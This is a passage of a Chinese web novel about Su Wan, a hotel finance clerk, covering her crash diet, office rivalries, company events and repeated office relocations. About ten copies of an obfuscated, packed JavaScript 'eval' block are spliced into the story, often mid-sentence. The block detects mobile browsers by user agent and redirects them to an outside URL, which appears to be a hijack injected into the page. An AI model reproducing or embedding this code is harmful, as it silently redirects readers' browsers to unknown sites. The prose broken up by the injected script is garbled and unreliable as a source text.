蛋白质、碳水、蔬菜—那就不吃主食,只吃蛋白质和蔬菜吧。 水不能一次喝太多—那就是尽量少喝水吧。 散步半小时—那走两个小时效果应该更好吧。 她想得很简单。 接下来的三个月,苏晚像换了个人。 每天早上,她吃一小盒酸奶,两片面包,再加一个寿司卷。中午在食堂,只打一份菜,肉和蔬菜,不要米饭。晚上回家不吃东西,直接换上运动鞋,出门走路。 一走就是两个小时。 从家走到公园,绕着公园走三圈再走回来。有时候下雨,她就撑着伞走。每天都走,一天不落。 办公室里的人开始注意到她的变化。 “晚晚,你是不是瘦了?”刘姐有一次问。 苏晚点点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437376|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“瘦了好多啊。”刘姐上下打量她,“脸都小了。” 苏晚笑了笑,没说话。 她自己也感觉到了。裤子松了,裙子能穿进去了,腰上那一圈肉没了。她站在镜子前面,看着自己,有点陌生。 镜子里的那个人,脸色不太好。 黄黄的,没什么血色。 四月底的一天,苏晚正在录单据,眼前忽然一黑。 就几秒钟,但足够让她扶住桌子。 她站在那里,等那阵晕过去了,才慢慢坐下来。 “没事吧?” 她抬头,看见周卉站在门口,正看着她。 苏晚摇摇头;“没事,可能起猛了。” 周卉走过来,盯着她的脸看了几秒;“你脸色不太好啊。最近是不是太累了?” 苏晚想说“没有”,但想了想,好像确实有点累。每天走两个小时,白天还要上班,有时候加班到很晚。 “还行。”她说。 周卉看了她一眼,没再说什么,走了。 初夏,苏晚减重告一段落。 苏晚开始和小方一起备考。 她们一三五晚上去培训班上课。二四晚上留在公司学习。办公室里安静得很,只有翻书声和偶尔的讨论。小苏有时候也在,但他身体原因不备考。 苏晚学得吃力。她不是财会专业出身,很多概念理解起来慢。 “你看,这个分录是这样.....” 苏晚听着,点头,但有时候听完还是懵。 “没事,”小方说,“慢慢来。” 几个月很快过去,试考了,成绩出来了。小方过了初级。 “明年再考呗。”苏晚安慰自己。 11. 博饼宴 酒店开始筹备中秋博饼宴。 掷骰子,赢奖品。酒店每年都办 通知发下来的时候,苏晚看了好几遍。 “博饼规则:每桌十人,轮流掷骰子,按点数得奖品。状元、对堂、三红、四进、二举、一秀,对应不同等级的奖品。每桌产生一个状元,进入最后决赛,决出全场总状元。” 奖品清单附在后面:状元是五千元现金,对堂是品牌电饭煲,三红是高档床上用品,四进是电吹风,二举是保温杯,一秀是月饼礼盒。 苏晚看得眼睛发亮。 “想什么呢?”小方凑过来。 “奖品挺好的。”苏晚说。。 李敏摇了摇头,笑道:“你也就这点出息。” 苏晚没反驳大家。她就是觉得好。 九月19日,三楼宴会厅摆满了圆桌。 每张桌上铺着红布,中间放一个大瓷碗,碗里六颗骰子。碗旁边堆着奖品—月饼、保温杯、床上用品,一堆一堆的,看着就喜庆。 奖品一箱箱搬进来,分别置放在每一圆桌的一边桌脚处。 苏晚和小方、刘姐,小苏,还有几个别的部门的同事坐一桌。周卉和李敏在别的桌,远远能看见。 “开始了开始了。”主持人拿着话筒喊。隔壁桌已经开始掷了,叮叮当当的骰子声此起彼伏,混着笑闹声,整层楼都热腾腾的。 同桌的一个女同事先来,拿起骰子就往碗里扔,叮叮当当一阵响。 “没有” 大家一个接一个的扔,有的人是随意的扔,有的人得先搓一搓手再扔,大家大多希望满载而回。 叮叮当当现场响个不停。 很快轮到苏晚了。她有点紧张,拿起骰子,握在手里摇了摇,然后往碗里一扔。 骰子转啊转,一个停下,三个停下,四个停下的—最后一个还在转,慢慢地停下来。 “哦吼——对堂—电饭煲”登记姑娘喊起来。 大家起哄,让她请客。苏晚也很开心:“请请请,明天请吃蛋挞。” 周卉从另一头走过来,看了看苏晚已经开心地第一时间怀抱起的箱子:“行啊,运气不错。” 苏晚憨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘姐的眼睛瞪大了一下,嘴张成O型,像是看见什么稀奇事:“二十多斤?你怎么减的?” 苏晚想了想,认真地说:“少吃多动。” 刘姐愣了一下,然后笑起来。 那笑声有点怪,不是开心的笑,也不是客气的笑。像听到什么一个不好笑的笑话,但出于礼貌又得笑一下。她捂着嘴,肩膀一抖一抖的,眼睛弯成两条缝,但眼角的纹路里看不出笑意。 “晚上不吃饭?”刘姐笑着说,声音从指缝里漏出来,“那你不饿吗?” “少吃不是不吃,前期会饿。”苏晚老实地说,“后面习惯了。” 刘姐笑得更厉害了,端着杯子直摆手:杯里的水晃出来几滴,落在白色瓷砖上。“你们年轻人真是.....我是不行了,一顿不吃都受不了。” 她一边笑一边往外走,走到门口还回头看了苏晚一眼,那眼神苏晚读不懂,像是看什么稀罕物,又像是看什么好笑的事。 苏晚端着水杯站在原地,没明白她在笑什么。 那天之后,苏晚再遇见刘姐,刘姐就不问为什么了。只是有时候看见她,会远远的笑一下,那笑里有点别的东西,苏晚说不上来。 倒是宋夏开始问了。 “晚晚,你减肥还针灸啊!” “嗯。”苏晚点点头。 “那是怎么减的啊。”她问得认真,眼睛里全是光。 苏晚想了想:“针灸是刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437378|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激穴位,调节代谢,让身体自己多消耗。细胞是会变小,但数量是不变的,所以如果后面不注意,是会反弹的。”语气和当初跟刘姐说“少吃多动”时一样认真。 宋夏听得一愣一愣的,嘴巴微张。 后来,苏晚和林栖通电话 林栖有点哭笑不得:“你就这样解释?” “嗯,是的。” 林栖叹口气“你跟人家讲什么二氧化碳?人家能理解?” 苏晚想说那也得讲清楚啊,话到嘴边没出口。 “你别老这么认真解释。人家问你就简单说两句得了,专业问题让人问医生去。你知道你这样像什么?” 苏晚等着林栖说。 “像那种在朋友圈发长文辟谣的。”林栖笑了笑,“人家发个‘震惊’表情,你啪地甩一篇两千字的文献综述过去。” 苏晚愣了一下,也笑了。 “我就是觉得,”她说,“人家问了,我就该好好答。” 林栖好一阵子没回话。 “其实也没错,好好笑就好好答呗。”林栖又说道,“但是吧。人家问你怎么瘦的,你瘦了就行。原理什么的,愿意听的就讲,不愿意听的,你讲了她也不信。” 苏晚明白了。 重要的是,她在减肥。而且,减下来了。就够了。 13. 年会 十二月底,李敏把办公室几个人叫到一起,说了个事。 “年终晚会,每个部门出节目。”李敏说,“咱们财务部也单出一个。” 小方问:“今年出什么?” 李敏的目光掠过几个人,在苏晚身上停了一下:“跳舞。” 苏晚正低头看手机,听见这话抬起头,愣了一愣。李敏已经移开了视线。 “小苏就不用参加了。”李敏说,语气很平常,“今年主题是青春活力,咱们就排个简单点的。晚晚现在瘦了,跳起来好看。” 苏晚不知道该说什么,就点了点头。她低头看了看自己的胳膊,确实比年初细了一圈。 后来她才知道,李敏还有另一层意思—她来酒店一年了,需要做点成绩出来。带部门出个节目,虽然不是什么大事,但年终总结里能写一笔,也是“体现价值”的一种方式。 小方后来私下跟苏晚说:“李经理这一年也不容易。” 苏晚没听懂,但点了点头。 排练时间蛮赶的,每周二四下午抽一个小时,在会议室里练。李敏请了个外援—前厅部的一个小姑娘,以前学过舞蹈来教她们。 教的是个简单的现代舞,动作不难,就是记顺序有点麻烦。苏晚跳了几次,肢体有点硬,得慢慢学。小方还行,跳得挺灵活的。都在努力的学。李敏来看过一次,点点头:“行,就这样。” 年终晚会 还是三楼宴会厅,还是红桌布、大舞台、彩灯、音响。苏晚穿着演出服站在后台等着,心跳得很快。 “紧张吗?”小方在旁边问。 苏晚点点头。 “没事,”小方说,“咱们练了这么久了。” 前面一个节目结束。掌声落下,主持人报幕。 灯光暗下来,有人在后面推了她一把:“上。” 她们跑上台,站好位置。 音乐响起来。 苏晚跳着跳着,忽然不紧张了。灯光打在身上,暖暖的,台下的脸看不清,只有一片模糊的黑影。她跟着音乐跳到最后摆了个pose。 台下响起掌声。 她站在台上,喘着气,忽然觉得特别开心。 颁奖环节 苏晚坐在台下,吃着桌上的零食,没注意到台上正在颁“年度优秀员工”奖。反正没她什么事。 “苏晚” 她愣了一下。 旁边的小方推她:“叫你呢!” 苏晚站起来,脑子还有点懵。她听到主持人在念她的名字,部门,念她这一年的表现。周围的人都在看她,有人鼓掌,有人笑。 她走上台,从老板手里接过证书 朱总看着她,满脸皱纹笑成一团:“小苏,不错,明年继续。” 苏晚点点头,憨憨的笑。 “优秀员工奖励国内五日游,计划是北京,时间再安排。”下了台回到座位上,小苏低声说了声。苏晚微侧了下头,没说话,但眼睛亮了一下。 苏晚有点期待。 她给林栖发了一条消息:“我评上优秀员工了,明年可以出去玩。” 没过几天发工资了。 苏晚拿着工资条,看着上面的数字,再把手机备忘录里的信息合计了下,捂着嘴偷笑。前方的小方频频回头:“你在傻笑什么?” 苏晚不语,她第一个想分享的人是周卉。 整整一年的加班费,加起来比她想象的多了不少。她算了一下,除了那些加班日子的临时小额花费开销,纯赚的余额够她春天的时候出去玩一趟呢? 那天去送报表的时候,她忍不住说:“主任,我算了一下,今天加班费够我出去玩一趟了。” 周卉正在看什么东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437379|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬起头,看了她一眼:“是吗?想去哪儿?” “还没想好。”苏晚说 “哦—我还以为你不想去北京玩了呢?”周卉笑了笑。 苏晚愣了一下;“不是的,北京是北京。我就可能附近转转,住两三天我那笔钱,不能和酒店安排的比的。” 周围的笑声一片。 春节前最后一天,李敏把她叫到办公室。 “这个给你。”李敏递过来一个红包。 苏晚愣了一下,接过。红包挺厚的,摸着就不像普通的利是封,里面明显是一沓。 “大老板给的。”李敏说,“你今年表现不错,他特意交代的。” 苏晚打开看了一眼,是一沓现金。她有点懵,抬头看李敏。 “拿着吧。”李敏说,“过年好好休息。” 苏晚点点头,说了声谢谢,坐回办公桌前了。 回到座位上,她把红包收好,心里有点飘:“这个年过得真好。” 至于大老板特意交代的?她做什么了?没多想,高兴就是了。 下午的时候,她去茶水间倒水,碰见刘姐。刘姐看了她一眼,那目光有点怪,不是平时那种笑呵呵的,而是从上到下扫了一眼,然后移开,什么都没说。 苏晚端着水杯,愣了一下。没想明白,不想了。 春节跟2.14还有一段距离,李敏说情人节还有一场演出,酒店搞活动,让她们再跳一次。 “情人节?”小方有点懵,“情人节跳什么舞?” “就那个,青春活力的。”李敏说,“酒店搞活动,要热闹。” 于是排练的日子继续,苏晚有时候忙得脚不沾地,报表做到一半就得放下,赶去排练。 苏晚瘦下来后身体轻了,动作也灵活了。她有时候对着会议室的玻璃门看自己跳,觉得还挺好看的。 14. 新同事 五 一前夕,小方走了。 合同到期那天她来找苏晚:“我要走了。” “怎么突然要走?”苏晚问。 “我怀孕了,”小方低头笑了笑,手放在肚子上,“我老公说先把孩子生了再说。” 小方走的那天,收拾完东西,站在门口,回头看了苏晚一眼。逆着光,苏晚看不清她的表情。 “你好好干。”她说,“别太实在了。” 苏晚没听懂,但点了点头。 小方走后,办公室空了一张桌子。 过了两周,新的人来了。 那天面试的时候,苏晚正好在办公室整理东西。李敏让新来的人进来坐在对面。 苏晚低着头,但耳朵听着经理在问对方一些专业性的问题。那女孩的声音有点耳熟,回答问题的思路也有点熟悉的感觉。 她抬起头看了一眼。那女孩也看了她一眼,愣了一下。 苏晚也觉得眼熟,但想不起来在哪儿见过。 那女孩走了,苏晚才想起来——培训班。夏天的培训课,坐她斜前面的那个女孩,回答问题的时候也是这个声音。 她翻出手机点开培训班的群,翻了好一会儿,确定那个女孩——宋夏 宋夏入职了。 她和苏晚想象中的不一样。说话直接,做事随性,不太在乎规矩。有一次餐厅加班,她直接说“我不想去”,然后就没去。苏晚当时在旁边,吓了一跳—还可以这样? 但宋夏没事,李敏没说什么,周卉也没说什么。 苏晚有点羡慕她。 宋夏也对她挺好的。入职没几天,就约她吃饭。 “一起吃饭吧,叫上小苏。”宋夏说,“我刚来,想多认识认识人。” 苏晚答应了。 吃饭的地方是一家小馆子,三个人,一桌菜。宋夏问了很多问题:办公室的人都怎么样?李敏好不好相处?周卉是不是很凶?加班真的很多吗? 苏晚老老实实地回答。宋夏问什么,她答什么,一点没藏着。 小苏坐在旁边,一直没说话,低头吃菜。 吃完饭回家,苏晚给林栖打电话。 林栖听完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437380|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沉默了几秒;“她这是在打听情况。” 苏晚愣了:“什么?” “她刚来,想了解公司的人际关系。”林栖说,“问你什么你说什么,你没有想过有些话不该说?” 苏晚想了想,没想出来自己说了什么不该说的。 “小苏当时都没吱声,”林栖说,“就你傻傻的一问一答。” 苏晚没说话。她站在窗边,看着楼下的小区里有人遛狗,狗跑得很快,绳子绷得直直的。 林栖叹了口气:“算了,你就是这样。” 挂了电话,苏晚又在窗边站了一会儿。 她想给林栖发条消息,说点什么,但又不知道说什么。她把手机放下,去洗漱、刷牙的时候,看着镜子里的自己,还是那张脸,没什么变化。 但她喜欢宋夏。 具体来说是羡慕。宋夏身上有一种她从来没有的东西—自由,不在乎,想说什么说什么,想做什么做什么。 她想和宋夏做朋友。 第二天去上班,看见宋夏坐在对面冲她笑,她也笑了一下。 15. 金色的向往 苏晚已经记不清是从哪天开始,酒店突然变得忙起来的。 苏晚已经习惯了穿那身工服,习惯了端盘子的姿势,习惯了加班到深夜。 但加班的流程变了。 以前加班简单,客人一走,她们把剩菜收了,碗筷摞进塑料筐,往洗碗间一推,就可以换衣服走人。现在不行了。 “桌椅要复位。”餐厅经理站在门口,声音压过吸尘器的嗡鸣,“摆回原来的位置。” “地面要打扫。”她走过一张刚撤掉的桌子,用脚尖点了点地上的骨头和餐巾纸,“每个桌子底下都要扫干净。” “转盘桌布也要换。”她掀开一张圆桌上的大转盘,玻璃转盘很重,得两个人抬,“脏的收走,新的铺上。” 苏晚第一次单独学铺桌布的时候,发现自己手笨。 那个大圆桌,转盘那么重,桌布那么大,她一个人弄不好。后来还是餐厅的小肖教她的。 把桌布展开,找到中间的那条折痕,对准桌子的中心线,先铺一边,再铺另一边。 “多铺几次就熟了。” 苏晚试了,会歪但比第一次好太多了。 可惜他很快地离开了酒店。 下班的时间越来越晚。 以前九点半能走,现在差不多十点半。有时候遇到婚宴,客人不走,她们也不能走。站在角落里等着,等客人散了,等桌子收了,等地扫了,等一切弄完。 走出酒店的时候,街上已经没什么人了。路灯会把下班的人影子拉长。 十 一,酒店又迎来了高峰期。 但今年的加班政策变了。不再是“必须全员支援,”而是“可自愿报名,或找人代班。”通知发下来的时候,苏晚没太在意,反正她也没什么别的事,加就加吧。 但刘姐在意。 “晚晚,”刘姐有一天凑过来,压低声音:“我这周末有事,你帮我顶一下班呗?” 苏晚愣了一下:“顶班?” “就是替我去餐厅那边。”刘姐说,“你不是要赚零花钱吗?帮个忙。” “好。”苏晚没多想。 刘姐笑着拍了拍她的肩:“谢谢你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437381|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!晚晚。” 十一月底,酒店迎来了大事情。 品牌成立20周年。 酒店挂起了横幅,布置了装饰,每个人脸上都喜气洋洋的。最让大家兴奋的是,大老板特别设计了一款金徽章,送给在酒店工作满10年及以上的员工。 那枚徽章苏晚见过样品,小小的,金色的,上面刻着20周年字样。她拿起来看过,比想象中轻,但做工很精致,边缘磨得光滑,别在工服上一定很好看。 老板站在台上讲话,说感谢大家二十年的陪伴,说酒店是大家的家,说希望下一个二十年还能一起走。 她看着那些老员工上台领徽章,站在台上合影,心里有点羡慕。 10年。 她现在才干了不到三年。10年,好长啊! “李姐,”她转头对李敏说,“我也要努力,以后也拿那个徽章。” 李敏看了她一眼,笑了一下:“好,加油。” 那个笑容和平时不太一样,好像多了点什么。 苏晚没多想,继续鼓掌。 16. 搬家 又是一年春暖花开。 酒店越来越好了。 这是苏晚最直观的感受。酒店大堂的玻璃门日夜不停地转着,带进来的人流比去年多出一倍不止。前台的小姑娘忙得脚不沾地,连抬头打招呼的时间都没有。 不止是客人多,入驻的商户也多了。 先是二楼隔出了2/3的一块区域租给了某家公司,再后来四楼 十楼 十七楼以上,一块一块区域被租出去,走廊上陆续挂上了不同的牌子。 行政楼层也开始被“盯上”了。 那天李敏推开财务室的门,表情有些复杂:“有人看中咱们这间了,说风水好。” 苏晚正对着电脑敲键盘,闻言抬起头:“什么意思?” “搬家。”李敏把手里的A4纸递过来,“新财务室在后楼梯旁边,员工专用电梯通道那边。” 苏晚去找那间新办公室。推开那扇门的时候,扑面而来一股潮乎乎的霉味。房间小得可怜,一开门就是一条窄窄的过道。只能放下两张桌子,对对碰。 “将就一下。”李敏站在门口看了看,叹了口气。 苏晚没说话,只是把窗户推开一条缝,外面的风灌进来,带着后楼梯特有的水泥灰气息。 忙是真的忙。 入驻的商户多了,财务的工作量也大了。苏晚每天从早忙到晚,有时候连喝水都顾不上。 刘姐还是老样子。 “晚晚,这周末帮我顶个班呗?” “晚晚,下周我有事,你帮我值一下?” “晚晚,这个单子你帮我跑一趟吧,我腿疼。” 苏晚每次都答应。 但渐渐地,她心里有点不对劲了。 以前刘姐让她帮忙,她会觉得是同事之间互相帮助。但现在,刘姐的语气越来越自然,越来越理所当然,好像她帮她是应该的。 有一次,苏晚实在太累了:“刘姐,今晚我也有事,可能去不了。” 刘姐愣了一下,然后笑了笑:“行吧,那我找别人。” 那笑容苏晚看懂了。不是真的笑,是那种“你居然拒绝我”的笑。 后来几天,刘姐没怎么跟她说话。苏晚也没有在意。 但再后来,刘姐又开始找她帮忙,好像什么都没发生过一样 半年后,有商户又看上了后楼梯的那间“财务室。” 苏晚站在门口,看着里面堆得整整齐齐的纸箱,心里只有一个念头:又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437382|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 “悲催的又一次搬家。”苏晚小声嘟囔道,弯腰开始收拾抽屉里的小物件。 这回搬回原财务室边上的一间稍微大点的房间903,窗户视线好,能看到楼下的网球场。傍晚的时候有人在那儿打球,黄色的球在夕阳里弹来弹去,落在视线里,有点好看。 又过了半年,整个九楼都被商户看中了。除了老板的办公室不动外,行政后勤全部搬走,搬到四楼只有1/3的区域格间里。 “应该能稳定了吧?”苏晚把最后一个纸箱搬进来,问了一句。 小苏没说话,埋头拆自己的箱子。 宋夏在旁边撇撇嘴:“想多了。” 事实是,老板已经考虑地下室了。据说下面有块区域空着,做个永久的办公地点比较合适。 苏晚听到这个消息的时候,正蹲在地上往文件柜里塞凭证。她手上动作停了一秒,然后继续塞。 苏晚已经麻木了。 每次搬家,她都要把自己的东西打包、拆封、重新整理。 “就当锻炼身体。”她跟林栖打电话的时候这么说。 林栖在那头沉默了几秒:“你心态倒是好。” 窗外有风吹过。 17. 调岗 搬到903办公室没几天,苏晚还在跟那些纸箱子较劲。忽然听见门口有人说话。 那声音有点耳熟。 她抬起头,愣住了。 “好久不见。”小方笑了笑。 那个笑和以前一样,嘴角轻轻一扯,眼睛却没怎么弯。 苏晚张了张嘴,喉咙里像堵了什么东西。她看着小方走进来,走到她前面的那张空桌子前坐下来。 “你.....回来了?”苏晚终于问出口。 小方点点头,手上的动作没停:“嗯,回来了。” 苏晚想问:“你不是走得很绝吗?”但她没问出口,只是看着小方。 小方的动作还是那么利落。和第一次来的时候一样。 小苏抬头看了一眼,点点头,算是打过招呼。 刘姐不在,宋夏不在。 对的,苏晚想到了宋夏。宋夏和小方是同一个岗位,前后两任。小方走了,宋夏来了。现在小方回来了,那宋夏怎么办? 窗外的阳光慢慢移过去,在桌面上拉出一道长长的光。 宋夏回来那天,已经是第二天了。 她走进办公室,看见小方坐在那里,脚步顿了一下。 小方抬起头,看了一眼,没说话。 苏晚正在整理一份报表,手指悬在键盘上,忘了要打什么。 办公室里安静得有点诡异。苏晚感觉到空气里有什么东西在流动,看不见,但能感觉到。 这时,李敏进办公室了,手里拿着一沓文件,往门口那张桌子上一放。 “大家都在啊。”李敏说,拍了拍手,“宣布了个事.” “最近酒店业务繁多,需要人手。我就把小方找回来了。这样,”李敏顿了一下,“宋夏暂时调到物业,先熟悉一下那边的流程,后期再安排。” 李敏的话音落下,办公室里安静了几秒。 “物业?”宋夏开口,声音平平的,“具体做什么?” “先熟悉流程,”李敏说,“物业那边最近也缺人,你去帮帮忙。后期看情况再调整。” 宋夏点点头,没再说什么。 苏晚盯着电脑屏幕,却一个字都看不进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437383|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 她想起宋夏刚来的时候,那时候小方已经走了,大家都以为她不会再回来。 现在小方回来了,宋夏走了。 像是轮流转。 一个月后,苏晚在茶水间碰到周卉。 周卉看见她,笑了笑:“怎么样,最近忙得过来吗?” “可以的,主任。”苏晚说。 周卉点点头,忽然说:“宋夏,你觉得她怎么样?” 苏晚愣了一下,不知道该怎么回答。她想了想:“挺好的吧。” 周卉看了她一眼. 那一眼不长,也就一两秒。但苏晚总觉得那目光里有别的东西。像隔着玻璃看人,模模糊糊的,看不真切。周卉的眼角有一点点细纹,笑起来的时候才会明显,现在没笑。 周卉没说什么,端着茶杯走了。 苏晚站在原地,手里还拿着杯子。 窗外有人在楼下喊什么,听不清,远远的,像是另一个世界的声音。 总觉得周卉那句话里有别的意思。 但她想不出来是什么。 18. 试衣 五月的阳光已经开始烫人了。 那天刚从银行回来的苏晚在过道遇见周卉。 周卉退后一步,目光从她脸上滑到肩膀,又滑到腰线,上下打量了苏晚几眼 苏晚被这种目光弄得有些不自在,下意识站直了些。 “你—”周卉拖长了声音,“正好,省得我再找人。跟我来。” 苏晚不知道“正好”什么,只能跟上去。周卉带着她走到财务室边上的一间办公室门口停下。周卉推开门,里面已经站了几个人:客房经理、餐厅经理、李敏还有宋夏。房间中央立着两排移动衣架,挂着七八套还没拆塑料套的新制服,靠墙的椅子上坐着一个中年女人,腿上摊着皮尺和笔记本,手里捏着几根大头针。 “她来当模特。”周卉朝苏晚抬了抬下巴。 苏晚这才明白过来。五 一一过,酒店要换新工服了。 裁缝站起来 餐厅经理从衣架上取下一件西装外套递给她。 “先试这件。” “这件腰有点松,”裁缝绕到她身后,手指在她腰侧捏了捏,捏起一小块多余的面料,低头在笔记本上记,“收一指半。” 苏晚换第二件。还是外套,但版型不同,单排扣,面料更软一些。她套上,整理好领子。 “这件肩正合适。”裁缝的手按在她肩胛骨上,“不用动。” 第三件是衬衫,配一条及膝的A字裙。她换上后裙摆刚好在膝盖上方两指宽的位置。 “这件裙子长度刚好。”裁缝蹲下去,用皮尺量了量裙边到地面的距离,“不用改。” 苏晚站在玻璃窗前,透过模糊的倒影镜看自己的穿着。听着身后几个人的讨论声。周卉和餐厅经理在争领口开多高合适,李敏说套装的颜色太艳,宋夏说外套的口袋位置不对。她们的声音嗡嗡的,像隔着一层水传过来。 瘦了。真的瘦了。裙子穿在身上,腰是合身的,腿从裙摆下伸出来,细长,笔直,膝盖骨突出一个小小的弧度。以前穿裤子不觉得,现在换上裙子,她才看清自己瘦成什么样子。锁骨从衬衫领口凸出来,手腕细得像一折就断。脸上也是,颧骨的轮廓清晰可见,下颌线收得太过干净,反而显得有些寡淡。 没有光彩。她心里冒出这三个字。镜子里的人站在那里,穿着剪裁合体的新制服,像一尊做工精良的人形立牌,但眼睛里没有光。 “好了。”裁缝收起皮尺。 苏晚试衣后再穿回自己的衣服。感觉有些空荡荡的。 周卉正在和裁缝细聊工服的后续事情,看见她出来,目光又在她脸上停了一下。 “瘦是瘦了,”周卉说,语气平淡,像在陈述一个事实,“气色还得养养。” 苏晚点点头,没说话。 下午的阳光透过玻璃窗户照进来 苏晚坐在办公室,想起去年这个时候,她还在为体重焦虑,现在瘦了,瘦到所有人都说她变了个人。但变了的何止是体重。 那天晚上回家,她翻出以前的照片。 照片上的她穿着旧款工服,那时候的工服还是裤装,她站在酒店门口,阳光照在脸上,笑得眼睛弯成两道月牙。脸是圆的,下巴那里还有一点软软的肉,腰身被外套遮着看不出来,但整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437384|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人站在那里,精神十足。 五 一那几天,中餐厅忙翻了天。苏晚在餐厅帮忙,从早到晚脚不沾地,吃饭时间都是扒几口就放下筷子。但奇怪的是,她没有再像之前那样刻意不吃东西。饿了就吃,困了就睡,忙起来顾不上想别的,反而觉得踏实。 假期结束那天,她站上体重秤—110斤,回来了几斤。镜子里的脸圆润了些,眼睛下面青黑色的影也淡了。原来她骨架就大,瘦到103的时候,肩膀的骨头支棱着,穿什么都像挂在衣架上。现在这样反而顺眼,肉长回来一些,整个人看起来没那么锋利了。 新工服发下来那天,她试穿那套装。结果肩膀那里卡住了,怎么都套不进去。她使劲拽了拽袖子,听见腋下的线绷得吱吱响。 宋夏在旁边笑得直不起腰,指着她说:“让你减让你减,现在好了吧,新衣服都穿不了!” 苏晚在宋夏的帮助下将衣服脱下。 那件外套后来换了大一码的。但这件事被宋夏当成了笑话,逢人就说,说了好一阵子。 